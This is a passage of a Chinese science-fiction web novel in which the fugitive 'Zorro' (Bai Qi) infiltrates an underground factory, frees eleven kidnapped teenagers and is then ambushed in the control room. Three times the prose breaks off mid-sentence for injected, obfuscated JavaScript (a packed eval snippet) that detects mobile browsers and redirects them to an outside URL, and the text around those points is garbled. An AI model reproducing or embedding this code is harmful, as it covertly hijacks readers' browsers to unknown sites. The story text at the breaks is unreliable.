“兰德尔想要突袭星盗据点,以一场功绩显赫的大胜来扳回他在舆论场上的劣势,殊不知,等待他的却是一个精心准备的陷阱,早有防备的星盗将给予塞勒斯一场前所未有的大败,塞勒斯在砾石星的声望将跌至谷底。”劳伦特说完,又摇了摇头,像是可惜一般叹道,“年轻人心高气傲,他若不是逼得太紧,我本也是想与塞勒斯和平共处的。” 完全依附于维纶,对于费舍而言并非最好的选择,最好的局面自然是塞勒斯和维纶为争夺砾石星的归属而形成一种势均力敌的平衡状态,如此费舍才可以左右逢源,将砾石星的财富与矿源完全控制在自己手中。 但是在初见那日,晚宴露台上的会谈中,兰德尔的回答就已经说明了这种想法绝无可能。 “毕竟是唯一的S级,自然是要自大高傲些的,然而在政局上,单纯的武力又如何能比得上父亲您这样经年沉淀的智慧呢?兰德尔也该栽个跟头了。”艾伯特放松地靠坐在沙发上,品了一口澄澈的酒液,点评道,“不错,只是今夜更适合香槟。” “没有尘埃落定,现在谈这些还太早了,艾伯特,记住,高明的猎人在处理猎物时,也是要端着猎枪的。”劳伦特皱着眉头。 “父亲教训得是。”艾伯特收起自己轻浮散漫的姿态,端正好神色,片刻后,他像是突然又想起什么,问道,“父亲,星鲨帮的据点坐标为何会突然暴露?那个佐罗是什么来路?此前从未听说过此人。” 提起这件事,劳伦特的脸上也现出一缕凝重:“除了那张通缉令,完全查不到此人的信息,他目前表现出的名字样貌应该都是假的。” “塞勒斯在城区追捕他的时候,他用了电讯号干扰和光学折射装置,从塞勒斯的破解难度来看,这两种装置的科技等级应该相当高,这不是普通人能随便搞出来的,他背后必然隐藏有一个不小的势力。”艾伯特分析说,“这种时候搅和砾石星的事,他背后的势力是想做什么?帮塞勒斯?那何必把事情搞得这样大?” 给情报自然是越隐秘越好,这样大的阵势,简直是想不引起费舍的警觉都难。 “难不成他的背后是佩特拉?佩特拉在之前也确实投了关键的弃权票,他想让砾石星的局势更乱些,让维纶和塞勒斯陷入对耗,他好从中得利?”艾伯特越说越觉得有道理。 劳伦特却摇摇头:“听证会的关键不在于弃权的佩特拉,而是塞勒斯和泽维尔的突然联合,无论那个佐罗背后是谁,他想拿到星鲨帮的据点坐标,一定要在砾石星潜伏不短的时间,塞勒斯突然找到那位皇子是在半个月前,但这一局的布置却一定比这个时间更早。” “那他到底是什么来头?难不成……”艾伯特突然又想到一个可能,“这其实是塞勒斯的自导自演,搞出这样大的动静就是为了让我们知晓,让我们的注意力全在星盗上,实际上他们的目标另在他处……” 说到最后,艾伯特的脸色已经变得相当难看,其急切程度比他刚得知塞勒斯的军队调动时更甚,因为另外一边的东西一但爆出来,可比跟星盗联合这件事更为要命。 “若真是如此,那白天他们何必打草惊蛇,而且是这样莽撞冒失的方式?”劳伦特否定道,“转移注意力的说法更是多此一举,无论有没有那个佐罗,砾石星的各方视线都注定聚焦在星盗上。” “更何况,地下工厂的安保固若金汤,连只外来的蚊子都飞不进去,远在阿尔法星的兰德尔又能从何知晓,并且在那样久的时间前就开始布局呢?就算真有万分之一的可能,”劳伦特冷笑道,“天亮之前,金辉娱乐丨城也会被炸成平地,兰德尔注定什么都查不到。” 凌晨4点23分,距离天亮还有不到两个小时。 金辉娱乐丨城的地下,伊蒙白天找到的那扇暗门前。 重新换上那身法外狂徒装扮的白启再次来到这里,用伪造的身份ID轻松刷开了前两道门禁,也即他和伊蒙白天最终止步的地方,而后在识别系统亮起安全绿灯的自动机枪瞄准下,白启轻车熟路地继续往下走。 白天伊蒙观察到的防护等级就已经高得不正常,但在这第二道门禁后,仍有三道门禁,一道更比一道严密,堪称水泼不进。 但此刻,白启在此通行无阻,他穿过第四道门禁,站到虹膜扫描的红外镜头前,对着镜头中的倒影理了理额前的碎发,在这安静无人的空间自问自答一般说:“怎么潜入一个密不透风的王八壳呢?” “当然是引王八自己从壳里露出头了。” “滴”一声,虹膜扫描通过,最后一道厚重到能防御太空级武器的金属门在他眼前打开,露出其后往日里有密集的安保巡防,今日却空无一人的地下工厂内里。 “王尔德,扫描。” 反扫描系统只针对外部,当他侵入到内里后,那么便不会再触发警报。 “收到。”王尔德说,“计划很成功,里奥,驻守在这里的星盗为了要伏击塞勒斯,大部分都被抽调走了,现在的守备力量非常空虚,但根据扫描结果,工厂的自毁装置也已经在预启动状态,留守人员在往发射台方向聚集,他们应该要放弃这个据点了,你的时间不多了。” “知道了。”白启随意地应了一声,观察了一下四周和脑域内由王尔德扫描生成的工厂地图,就近找了一条通风管道,踩着管道外沿的凸起,猫一样灵活地爬了上去。 虽然大部分留守在工厂内的人员都在发射台那边,但仍有少部分分散在各处,做撤离前最后的收尾工作,白启在管道上走了没一会儿,就看到两名穿着防尘服的工作人员在下方走过。 管道离地约有十米高,白启适当地伏低身体,便将自己完美地掩藏,两名工作人员对上方有人一事一无所觉,他们说话的声音倒是通过王尔德的收音清晰地传到白启耳中。 “就这样走了吗?即便提前有所准备,但很多大型设备根本拆不走,就这么炸了吗?”说话的人不无可惜。 “跟暴露的风险比,这些金钱损失根本不值一提,你难道不知道我们做的事一但外传是什么后果吗?”另一人道。 “可是塞勒斯的注意力一直都在星盗那边,昨天那两人纯属误打误撞,老板不是也调查过了?他们是受了那个女的,叫什么来着?好像是叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465438|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛莎?反正是帮她找人,来扮演正义的侦探,他们根本对底下的事一无所知,而且砾石星的局势现在有利于我们,想来维纶不久后就能重新夺回砾石星的控制权,到时候一切都得重头再来。” “老板其实也不想走,他在这里经营了那么多年,但你知道的,老板的老板,素来谨慎,是连万分之一的风险都不想冒的,若非听证会的变故太过突然,塞勒斯扼守航道的速度又太快,数日前我们就该随维纶的军队一起撤出砾石星了。” “上头的人打架,倒累得我们来回折腾。” “谁叫你我没出生在一个显赫的家族呢?” 两人互相抱怨着走远了,白启没有跟,沿着原定的方向往前又走了一段,途中又碰见过几对三三两两在下方路过的工作人员,他也一直没停,直到,他碰见了眼前这正在吵架的两人。 更准确地说,是其中一人单方面地对另一人的训斥。 “蠢东西,这点事都办不好,现在立刻回去检查!赶不上撤离你就跟这里一起炸成灰吧!” 说话的人气势汹汹,防尘服的颜色都跟其他人略有不同,俨然是领导层级的人物,另一人则唯唯诺诺,在训斥下连头都不敢抬,声若蚊蝇地应道:“是、是……” “真是废物!”领导样的人骂骂咧咧地离去了,看方向应该是去发射台那边。 另一人站在原地,先是抬手抹了抹自己防尘服下出的细汗,然后才转身像是要去执行领导的命令。 白启在上方看着这一幕,用只有自己能听到的音量轻笑说:“就决定是你了,幸运的倒霉蛋。” 他悄声尾随着对方,像是在草丛中伏击猎物的大猫,在临近的管道连接处无声落至地面后,他骤然出手,在对方反应过来之前,一剂麻醉针剂就已经打入对方的脖颈。 高剂量的麻醉效果下,穿着防尘服的男人在瞬间失去意识,倒地前甚至都没看清袭击自己的人是谁。 白启接住对方的身体,拖到角落处后,脱下对方的衣服和身份ID,又对王尔德说:“模拟他的五官。” “好的,我需要十秒钟。” 十秒后,一种类似全息投影的五官模拟影像投射在白启面孔上,覆盖了他原本的五官,让他乍看起来,跟倒在地上的那人几乎没有区别,但细看下去,就会发现其跟所有全息投影技术一样,有种虚幻的不真实感。 这正是这种模拟技术的弊端,虽然能即时生成,却不够真实,不像白启现在戴的那种依照面部骨骼量身定制的仿生面具,即便是极近的距离,也看不出半点破绽,当然,对应的弊端就是制作周期长,无法根据环境灵活变化。 不过,前者的弊端也不是无可弥补,在佩戴上一些遮盖面部的饰品后,这种模拟投影的破绽就不太容易发觉,就像白启此刻换上的防尘服,口罩拉紧后,只露出一双眼睛,若是无人特意凑近,即便是面对面走过,对方也不会发觉异样。 将被扒光的男人藏到了旁边的垃圾运输车里,换上新装扮的白启再次从角落走出,不再猫在管道上潜行,这次他大摇大摆,在工厂的过道中穿行。 路上遇到人,他就学着原主的性格,微低下头,也不跟人打招呼,孤僻又安静地径直离去,果然,这样内向木讷的人也没什么交好的好友,完全没有人主动来跟他说话,自然也更加没有人发现他的破绽,白启一路畅通无阻。 他来到一个像是制作车间,又像是实验室的地方,几台不知用途的设备在其间陈列着,白启的目光一一扫过,在其中一台,有两片半圆形镂空的固定装置,上方悬着一枚三十厘米长狰狞探针的设备上停留了片刻。 “王尔德,分析用途。” “收到,根据数据比对,这些装置有些类似某种开颅装置,里奥,你知道生吃猴脑吗?”从脑域活动直接读取到答案后,王尔德继续说,“这几台装置就跟生吃猴脑的用具类似,固定用的,切割用的,检测生命体征确保目标在开颅过程中清醒不死的,只是以比例来看,这些设备的作用对象应该比猴子要大,体型近似于……” “人。”白启轻声接话。 自毁前夕,地下工厂内通风系统仍在按部就班地运转着,造价昂贵的系统确保即便是在这数十米深的地下,空气也如地上一般清新,但白启此刻鼻尖却彷佛萦绕着挥之不去的血腥味,腥臭得几乎让人作呕。 18.原料 沉默一会儿后,白启说:“他们费那么大功夫总不是来生吃人脑的,他们要做什么?” “像是在提取或注入某种物质,具体的无法从推导得出,这些设备内部的芯片已经被销毁,里奥,你需要去主控室直接拿到相关数据。” 即便地下工厂的人已经在做各种销毁工作,但主控室控制着工厂内部的一切,包括撤离的发射台,那里必然是最后被销毁的地方,这也正是白启此次潜入的目的,在这伙人将这里炸成灰前,赶在他们撤离前的这段时间差,拿到最关键的核心数据。 白启没再停留,沿着先前的路线,径直向主控室去。 路上遇到人,他本是想像先前一样应对,却在听到一段对话时,步伐不自觉放慢了些许。 “这批原料怎么处理?” “老板说扔在这儿,带走太麻烦了。” 说话的两人走远后,白启停了下来。 “王尔德,定位原料仓的位置。” “好的。” 通过脑域共享的扫描地图中同步标出了几个疑似地点,白启选了一个守备力量较强,同时离后勤仓库近的。 他暂时放弃了原本去主控室的路线,转道去往这个疑似的原料仓。 守备力量较强那是指平日,现在整个地下工厂都空空荡荡,白启去的那里也只有几台警卫机器人在警戒,而在识别到白启伪装的面部特征以及佩戴的身份ID后,这些警卫机器人也都维持着无害的待机状态。 “滴”一声,白启用这张姓名栏上写着“托雷”两字的身份ID卡试图开门,门禁系统却跳出“权限不足”的字样。 “王尔德。” “门禁等级较高,我大约需要三分钟。” 王尔德破解门禁时,白启靠在门边等待着,他随手在兜里摸了摸,摸到了方才从那个倒霉员工身上随衣服一同搜刮来的零零碎碎的小东西,有口香糖,烟盒,打火机,以及,一张制式与ID卡类似,却没有写身份姓名的卡片。 白启摸出卡片端详了片刻,试探性地往门禁上一贴,门禁系统同步亮起“验证通过”的绿灯。 白启尚在意外,面前的金属门就已经自动打开,下一刻,数张面孔出现在白启眼前,有男有女,年龄都比较年轻,最小的大约只有十一二岁,最大的也将将十七八岁,这些面孔普通又平凡,不像那些海报贴的到处都是的明星或是常在新闻上出现的政治人物般家喻户晓,一般人自然不会认识他们,但若是关注过砾石星那些张贴在大街小巷里的寻人启事,就会发现这些面孔其实无比熟悉。 此刻,他们分散在屋中,三三两两地靠墙坐着,听到金属门开启的动静,不约而同地抬起头,又在看到白启那身代表工厂员工的防尘服后,齐齐现出畏惧的神色。 这就是工厂所谓的原料。 昨日白天,白启对玛莎说的那些失踪案一直是漠不关心的态度,甚至还一度劝伊蒙别去多管闲事,但此刻,他却对着那名离舱门最近,年龄也最小的女孩叫道:“安娜,对吗?” 女孩怯生生地看着他,没有应。 白启的目光越向下一个人:“你是艾德琳。” “杰克,旁边的是乔伊。” “高个子的是吉米。” 他精准叫出了每一个人的名字,在不借助王尔德任何提示的情况下。 众人脸上的神情也从一开始的惊惧慢慢转变为意外和困惑,个头最高,年龄看起来也最长的吉米站起来,大着胆子问道:“你是谁?” “你们可以叫我佐罗。”白启摘下防尘服的帽子和口罩,覆盖在面孔上的模拟影像同步撤去,他煞有介事地介绍,“是个通缉犯。” 通缉犯自然不是什么好词,但他们所处的这个地方更是跟安全合法沾不上边,负负得正下,这个身份听起来竟也不是那么糟糕。 “佐罗先生,你是专程来救我们的吗?”吉米又问,他跟其他人一起看着白启,小心翼翼之余,又带着些微的期冀。 “当然。”白启大言不惭地认下,又对着众人问,“你们有没有见过其他被拐来这里的人?” 众人都是摇头,吉米说:“我们一直被关在这里,没见过其他人。” 白启了然地点点头,随后像是幼儿园老师那样一拍手:“现在所有人到我这里集合,男生在左,女生在右,从矮到高排。” 屋内共十一人,很快分散站成两列,白启在他们列队的过程简单介绍了一下现状:“小朋友和不太小的朋友们,你们现在所处的地下工厂已经被放弃,内部人员正在撤离,大概在不到一个小时后,整个地下空间都会被炸成飞灰。” 刚刚整好队形的十一人立刻陷入恐慌的混乱,白启紧跟着说:“现在,我们的任务是混在他们撤离的队伍中,逃出升天,同时不被发现,怎么样,是不是很刺激?” 刺激得简直有些要命了,但他语调轻松得就像是在宣布一个大冒险的游戏,众人不自觉被他话中的从容和镇定感染,虽心中仍然存有恐慌,队形却未乱。 “放心,超高难度的游戏自然要有超级厉害的后援,我会给你们安排一名领路的向导,你们只需要听指令行动。” 白启打了个响指,他口中“超级厉害的后援”在响指声中同步闪亮登场,一台时速最高5公里,约等于成人快走速度的保洁机器人缓缓驶到众人视线中,举起集成了清扫洗拖功能的扫帚型机械臂,以王尔德的嗓音,向众人友好地打了个招呼:“大家好,我是你们的向导,接下来请跟随在我身后两米内的位置,这是拟态伪装所能覆盖到的范围,可以保证你们不被发现。” 十一人很快依言站好,两米的范围其实很宽裕,但他们紧拉着前一人的衣摆,挤挤挨挨地连在一起,像是一团惊恐缩在一起的雏鸟。 “那么,出发!”保洁机器人缓缓驶动,身后的雏鸟团亦步亦趋地跟随,像是一根坠得很长的尾巴,也像是一列“呜呜”开动的小火车。 白启没有跟随,他重新戴上自己的伪装,转身去了另一处疑似原料仓的地点。 “前方路口准备右转,请及时调整方向,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469747|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要掉队。” 雏鸟团那边的情况通过王尔德的连接实时同步在白启脑域中,在他来到目标点时,那边也第一次遭遇了工厂员工。 “前方有敌人接近,预测将从我们身旁经过,请贴墙站好,并保持安静。” 王尔德提前发出了预警,众人依言照做,甚至还多此一举地捂住了自己的口鼻,但在隐隐听到对方靠近的脚步声时,他们还是紧张得不住发抖。 白启同步获知的只有语音,看不到影像,但他似乎也能猜到众人此刻的样子,将面前空无一人的舱门关上,轻笑说:“放轻松,只是一场躲猫猫的游戏而已。” 寻常的躲猫猫游戏失败可不会有这般严重的后果,众人完全没有被他安抚到,事实上,他们甚至至今都不知道白启的来历,更不知道王尔德口中的所谓拟态伪装是否真实有效,反正从他们的视角来看,他们就是毫无遮挡地站在原地,唯一可以算做武器的东西是保洁机器人手中的扫帚型集成机械臂。 “抓紧时间,撤离的航次已经定了,赶不上可不会等人。” “知道知道,还剩最后一组数据没有销毁,来得及。” 两名穿着无尘服的工作人员急匆匆地走过,经过一台靠在过道墙边的保洁机器人时,他们完全没有停留,甚至连视线都没有偏转,毕竟一台保洁机器人,出现在工厂内部的任何地方,都是非常合理的。 脚步声彻底远去后,众人紧悬着的心才算是放松了一丝能容人喘气的空隙,劫后余生的庆幸之外,他们同时陷入一种不敢置信般的茫然。 成、成功了?他说的是真的? “都说了是超级厉害的后援,如假包换。” 白启的笑声通过保洁机器人的语音系统从远处传来,他方才这样说,众人心底其实都是不信居多,只是他们没得选择,被困在这里那么多天了,即便不知道他们会面对什么,却也可以想见必然不会太好,而这个突然出现自称通缉犯的男人带来了一个或许可以逃脱的契机,即便成功的几率微乎其微,也值得他们倾力一试。 但方才的经历已经证明,男人确实没有骗人,那种他们甚至没听过的拟态技术确有其事,两名工厂员工就从他们身边走过,竟然对他们的存在一无所觉。 过速跳动的心脏在渐渐放缓,在此刻,他们终于开始慢慢相信,相信这场失败代价是死亡的逃生游戏没有那样难,相信他们确实有通关的可能。 “敌人已经远离,准备再次出发,请及时跟随。” 小火车队列跟随着再次启动的保洁机器人,在过道中缓慢行进着,他们陆续又遇到了几次工厂员工,依照着之前的办法,全都有惊无险地渡过,白启也顺利地搜寻完一个个疑似原料仓的地点,只是,他再未发现任何失踪人员。 最后一个地点也搜寻完毕,白启准备返程去找众人汇合,路途中,他又一次路过了先前将人打晕替换身份的那个拐角。 白启看着里面藏了个活人的垃圾车,步伐停了一下,他想了想,走过去将车推着,一起往发射台去。 19.卧底 在保洁机器人的带领下,雏鸟团离逃生的发射台越来越近,他们的胆子也大了许多,虽然在遇到人时仍然会挤挤挨挨地缩在一起,却不再那样恐慌。 胜利将近,只要再走过这段二十米长的过道,他们就来到了发射台的外围,但就是在这里,他们遇上了又一名匆匆赶来准备撤离的工厂员工。 这情况已经遭遇过多次了,有王尔德的提前预警,众人贴墙躲避的动作堪称熟练,按理说本不该出现什么问题,但这名员工走过时离保洁机器人的距离近了点,衣摆几乎要扫到紧躲在保洁机器人身后靠外的几人,他们不自觉往里侧避了避,动作间,不知道是谁和谁的饰物恰巧碰到了一起。 “铛”一声,不算大,但在安静的过道中却又格外清晰。 王尔德的拟态伪装只能蒙蔽视觉,却无法遮挡声音,穿着防尘服的员工停了下来,他四下扫视着,像是困惑这声音的由来。 一般人找不到异样,可能也就当是自己听错了,或是什么机器的杂音,就这样走了,但他们的运气显然不太好,这名身份ID上名叫特伦斯的工厂员工表现出了异常的敏锐和谨慎,在自己找不出异样后,他竟是唤来了附近的一台警卫机器人,下指令道:“扫描周边环境。” 拟态伪装能骗过人眼和机器初步的感知探查,却骗不过这种更深度的结合了声呐回波技术的扫描,他们将在警卫机器人的扫描系统中无所遁形。 当然,他们并不真切地清楚这点,但特伦斯的举动已经足够让人不安,在众人惊恐的视线中,警卫机器人红点状的眼部视窗抬起,从它周身开始,无形的能量波一寸寸地向外扫描探测。 特伦斯正等着扫描结果时,身后突然有声音传来。 “你在这儿啊,我正找你呢。” 一名同样穿着防尘服的工厂员工朝他走来,随着距离的接近,特伦斯认出了对方的面孔,他显然认识此人,因而在此刻对方表现出与平素截然不同的说话风格时不由面露诧异。 “你……” 他刚刚说了一个字,白启已经走至了他身前,上一秒他还熟络地打着招呼,下一秒便如骤然暴起的猎豹,以一个快到根本不容人反应的速度,掐住特伦斯的咽喉,将他一切惊愕恐惧的喊声都扼死在喉间。 察觉到变故的警卫机器人立刻做出应对,机身装载的数道枪口一同抬起,足以在几秒间将人体打成一团血雾。 但它首先瞄中的却不是白启,而是被白启抵在身前,缺氧到脸色涨红,却仍在濒死挣扎的特伦斯。 识别到特伦斯的员工身份及存活状态,警卫机器人并未第一时间开火,机枪枪口摇摆着,像是在找能越过特伦斯击中白启的角度。 但它在找角度时,白启却也在同步前进,他以特伦斯的身体为盾,快步前推,警卫机器人飞速运转的核心同步做出了新的判断,它放弃枪械,改为抬起近战所用的机械手臂。 火力配置上白启自然远逊于装载有重机枪的警卫机器人,但改为近战却也绝不意味着他能获得优势,即便高等级精神力者的体质会胜于常人,但骨骼肌肉组成的身体与动力能源供能的机械造物有着本质上的差别,两者在力量,体魄,持续作战能力等各项参数上都完全不在一个量级。 肢体断裂对人体就是足够要命的伤势,但对于警卫机器人来说,即便四肢俱毁,只要核心机组仍在运转,就仍会执行既定的指令,可以说,除了造价昂贵,它几乎就是一台完美的杀戮机器,在眼下这种没有重火力武器,只能近战肉搏的情况下,寻常的精神力者根本无法单独应对,最低也要B级,才可能在特性能力的加持下勉强战胜。 但白启就是选了这么一个看似劣势极大的应对方法,在骤然暴起的第三秒,特伦斯挣扎的力道弱了下去,白启扼住他的手改为单手,空下的右手放到腰间,在第五秒时,特伦斯已然完全晕厥,白启同步来到警卫机器人近前,双方甫一照面,抓握力量以吨计的机械臂便从侧方抓来,白启将手中的特伦斯向其猛地一推,撤手,旋身,右手从腰间抽出的刀柄喷吐出淡金色的能量束,在机械臂抓握住劳伦斯的同一刻,白启也悍然出刀! 精神能量构成的刀刃有着比常规武器更锐利的锋芒,能轻易刺穿铁皮,却不包括警卫机器人能抵御一切常规子弹的合金机身,但白启这一刀并非刺在警卫机器人坚固的躯体外壳上,而是其搭载于手臂可以三百六十度灵活转向的枪架上。 警卫机器人可没有那种对手不使用热武器所以它也应以同样的规格应对的君子之风,它的程序要求它使用一切力量歼灭敌人,枪械永远是比机械臂更具有杀伤力的武器,在白启抛弃劳伦斯这一人体肉盾后,警卫机器人身上的枪口就再次抬起,锁定白启后毫不迟疑地开火。 白启却好像预先猜到了警卫机器人这一应对,因而他这一刀提前刺中了枪架转向的轴承处,使其失去了应有的固定能力,警卫机器人的核心下达开火指令时,白启的左手也已抓握住枪身,强制掰转了枪口的朝向,枪焰喷吐而出,却是在警卫机器人自己的胸口处打出一个豁口。 警卫机器人的处理器核心裸露出些许,却尚未损坏,因而下一击紧随而至,但白启却也如先前一般提前做了应对,他单腿蹬住侧方的墙壁,借力跃起,躲过扫射向他原先站位的数发子弹,同时翻身跃到了警卫机器人的后侧。 常人转身要有身体转动的个过程,但警卫机器人却不用,它腰部与下肢链接的平台直接180度旋转,枪口再次对准了白启,而白启此刻才刚刚落地,尚且还背对着对方,他若是转身再做应对,那就太迟了,在他完成转身的动作前他就先会被打成一团烂肉,但白启压根没有转身,在落地的同一刻,他的手腕就已经完成翻转,在完全看不见身后的情况下,能量刀毫不犹豫地向后刺出,正中豁口中露出的处理器核心。 蓄势待发的枪械哑了火,警卫机器人红点状的眼部视窗闪烁了几下,发出几声“噼啪”的短路电流声后,整具钢筋铁骨的身体都瘫痪在原地。 至此,时间才将将过去十秒。 说是电光火石都不为过,雏鸟团的几人感觉他们好像只是眨了几下眼,甚至还未来得及经历见到白启后从惊恐到意外的情绪变化,那方才给他们带来巨大恐惧的人和机器,就在这顷刻间被全部解决了。 白启这一系列操作可以说是在与死神贴面跳舞,稍有偏差,都是被打成一团烂肉的下场,但他就是以绝对精准的控制和绝对大胆的预判,在这样短的时间将一台这样恐怖的杀戮机器解决,整个过程,他甚至没有动用特性。 雏鸟团的几人自然说不清其间的惊险和白启操作的精妙,他们甚至没怎么看清过程,但这不妨碍他们在呆愣片刻后,慢慢回过神来的大脑中浮现出同一个念头—— 好、好厉害! 若非还记得眼下的场景不太合适,他们几乎都想拍手给白启叫好了。 白启却好似看出了他们内心在想什么,有模有样地做了个无实物的脱帽礼,以此来感谢观众的捧场。 “恭喜你们即将到达游戏的终点,距离成功逃生,只差最后一步——找到一辆空置的载具。”白启站直身体,越过瘫痪的警卫机器人,摘下了晕厥在地的劳伦斯的身份ID,王尔德控制的保洁机器人“嗡嗡”地开过来,贤惠地将这两团大号垃圾推到角落藏起。 “这一步难度比较高,作为新手福利,我会代你们完成。”白启向众人比了个wink,像他来时那样,神秘又突然地独自离去。 清理完垃圾的王尔德则再次担当起领队,带着众人就近找了个隐蔽处暂时藏起。 白启径直来到了发射台的入口,一间停满小型星舰的机库——曾经是停满的,但现在撤离已然开始,机库中数个机位都是空置状态,剩余的星舰也都是预启动状态,正在排队进入发射通道。 那是一个直接连通到城区外围河道的单向通道,这些小型星舰将从河道底部跃出,借着未明的天色掩护,以及己身装载的反雷达隐身系统,神不知鬼不觉地离开砾石星。 星舰不同于悬浮车那些只能在星球表面运行的小玩具,即便是小型星舰,也有能挣脱地心引力的加速度,因而即便只是预启动,机库里也充斥着巨大的引擎嗡鸣声,之前警卫机器人开火的枪声被其完美掩盖,而警卫机器人在发现敌人后向外传送的报警信息又被王尔德及时拦截了,这种警卫机器人不像保洁机器人那样容易入侵,但拦截信号倒没有那么难,因而机库中的人对不远处过道的那场变故至今一无所觉。 没有人注意白启,大部分人都已经在星舰中坐好,剩余还在外面的也都步履匆匆,就近找个还有空座的星舰登舰。 白启站在机库二楼的栈道上,装作跟其他人一般行色匆匆的模样,目标明确地走向东南侧的维修间,在王尔德的扫描中,那里也停放着一艘星舰,却是未启动的无人状态。 这也很正常,会停在维修间的星舰自然是出了故障,因而这次撤离中,这艘星舰并未被编入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白启抬头看了一眼,并未停下手下的动作,快速将一切做完后,他又来到前方的驾驶位,手指在控制系统上快速设置着。 众人紧抓着安全带,听到广播的内容,他们不可避免地又有些紧张,但因为白启在,他们此刻的恐惧竟是不如初时那般大,这短短一路,他们对这位突然出现的通缉犯先生已经从一开始的将信将疑发展到此刻的全然信任,乃至还有点崇拜,彷佛有他在,一切都能化险为夷,再危险的事也能像游戏一般轻松通关。 “好了,自动驾驶程序已经设置完成,等最后一艘星舰撤离后,你们搭乘的这艘星舰会悄悄尾随其后,跟着他们一起从城区外的河道跃出后,再悄悄返回,降落至城区的总督府。” 白启边说边从驾驶位上站起,径直往星舰的舱门处走,自毁程序已经启动的此刻,他看起来竟是不准备同众人一起撤离。 但在他即将走出舱门时,衣摆突然被人拽住,他回过头时,坐在舱门边的安娜正抬头看着他,她仍是初见时那般怯生生的模样,有些怕人,但此刻她鼓起了莫大的勇气,小声问说:“你不跟我们一起走吗?” 白启眉梢一动,他抬起头,看到座舱内其他十人,也正如安娜一般看着他,这注视并非出自独自上路的不安,而是对他的担心。 “唔,我还有事要做。”白启单膝下蹲,帮安娜把被安全带勒住的裙摆理好,他弯起眉眼,以一个仰视的角度,向安娜,也向她身后的所有人,煞有介事地说,“毕竟骑士除了要拯救公主,也要去打倒恶龙啊。” 急促闪烁的红色警报中,机库内最后一艘星舰也进入撤离通道,在极短时间内加速至上万公里的时速,硕大的机身化作一道肉眼难以看清的流光,顷刻间消失在通道中,而这时,停在维修间的这艘星舰也终于缓缓驶出,依照提前设置好的驾驶程序,进入对接轨道。 为了掩人耳目,这艘星舰一直维持着安静的待机状态,在此刻进入对接轨道时,引擎才开始加速预热,极速升温的尾焰让周边的空气发生一定的扭曲,巨大的动能在舰身积聚,座舱内也能感到那股令人不安的震动,但众人此刻的注意力却并不在此,他们不约而同地抬着头,透过星舰前方的视窗看向站在机库栈道上的白启。 他的面孔掩藏在不断交替的黑暗与红光中,其愈加急促的频率便如一颗濒死前过速跳动的心脏,宣告着某种不详的征兆,但白启仍是那副游戏般的轻佻神色——他们看不清,但他们能想象到。 他甚至还跟众人摆了摆手,而后,在又一次响起的倒计时警告中,他转身步入那不详的黑与红。 距离自毁程序启动,仅剩九分钟。 20.埋伏 伴随着最后那艘星舰驶离的引擎嗡鸣声,工厂内已经空无一人。 白启于是没再做什么多此一举的掩藏,快步跑向主控室。 主控室的门禁权限向来是最高的,一般只有上层的领导级人物才能有,但白启从托雷身上得来的那张没有身份姓名的ID卡依然可以畅通无阻地通过。 他径直入内,人刚站到操作台前,手腕上伪装成腕表的王尔德就已经自发接入服务器组。 “核心数据已被删除,我在尝试恢复,但是数据量庞大,全部恢复起码要三小时以上。” 自毁倒计时已经不足八分钟,这时间自然远远不够,白启简短吩咐:“能恢复多少就恢复多少。” 他同时在屋中四处翻找,想从那些未被完全销毁的纸质文件上获取一些线索。 红光闪动,不断播报的计时让人不自觉争分夺秒,将全部心神都放在搜寻上,但在黑暗中响起那些微被藏于服务器组运行的噪声下、几乎难以注意到的响动时,白启的动作却还是在第一时间有了些微的停顿,但他随即又自然地继续翻找,唯有垂下的右手不着痕迹地放到腰间。 但来人似乎并没有隐藏偷袭的意思,他彷佛十分自信,鞋底踏在主控室入口的金属踏板上,发出重重的声响,伴随着那道同步传来的阴冷笑声。 “早就觉得内部有鬼,不枉我等了那么久。” 白启抬起头,对上鲍勃·布莱恩被红灯照亮的面庞,他仍是昨日的装束,名贵的西装,恨不得把全身都挂满的金饰,一副大腹便便的商人派头,但也许是光照的原因,那张往日和气的面孔此刻说不出的阴森,就连笑容,也透着股森森带血的寒气。 “让我看看,哦,是你啊,托雷,演技真不错,这之前我还真没想到是你。” 白启没有应声,他自然不是托雷,但鲍勃·布莱恩说的其实也没错,只能是托雷了。 工厂内部如果有卧底的话,必然会趁着这个千载难逢的时机来窃取核心数据,但此刻除了白启和蹲守的鲍勃外再无他人,这说明两个可能,工厂内部压根没有卧底,一切只是鲍勃的臆测,另外一种可能则是那个卧底发生了一些不幸的意外,例如被某人打晕顶替。 结合那张反常的没有身份姓名权限却极高的ID卡,以及恰巧停在那里的维修星舰,后者的概率压倒性胜过前者。 “这下真是幸运的倒霉蛋了……”白启轻声自语着。 工厂那么多人,他选了谁冒充不好,偏偏选了个卧底,还是个早就露了形迹,乃至被特意设局埋伏的卧底。 